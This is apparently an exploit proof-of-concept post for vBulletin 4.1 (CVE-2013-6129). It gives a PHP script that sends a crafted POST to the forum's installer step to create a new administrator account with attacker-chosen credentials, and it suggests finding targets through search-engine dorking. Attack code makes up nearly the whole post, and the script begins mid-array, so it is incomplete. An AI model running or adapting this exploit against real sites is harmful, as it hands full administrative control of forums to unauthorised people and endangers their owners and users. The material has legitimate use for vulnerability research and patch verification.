=============================================================================================================================================
| # Title : vBulletin 4.1 create new administrator account Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.vbulletin.com/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: Vulnerability in vBulletin to create new administrator account.
(Related : https://packetstorm.news/files/id/180859/ Linked CVE numbers: CVE-2013-6129 ) .
[+] save code as poc.php.
[+] USage : http://127.0.0.1/poc.php
[+] PayLoad :
'install',
'response' => 'true',
'checktable' => 'false',
'firstrun' => 'false',
'step' => '7',
'startat' => '0',
'only' => 'false',
'options[skiptemplatemerge]' => '0',
'reponse' => 'yes',
'htmlsubmit' => '1',
'htmldata[username]' => $username,
'htmldata[password]' => $password,
'htmldata[confirmpassword]' => $password,
'htmldata[email]' => $email
]);
// تنفيذ الطلب
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_uri);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["X-Requested-With: XMLHttpRequest"]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// فحص النجاح
if ($http_code == 200 && strpos($response, "Administrator account created") !== false) {
$message = " تم إنشاء الحساب بنجاح!
اسم المستخدم: $username
كلمة المرور: $password";
$alert_class = "alert-success";
} else {
$message = " فشل في إنشاء الحساب!";
$alert_class = "alert-danger";
}
}
}
?>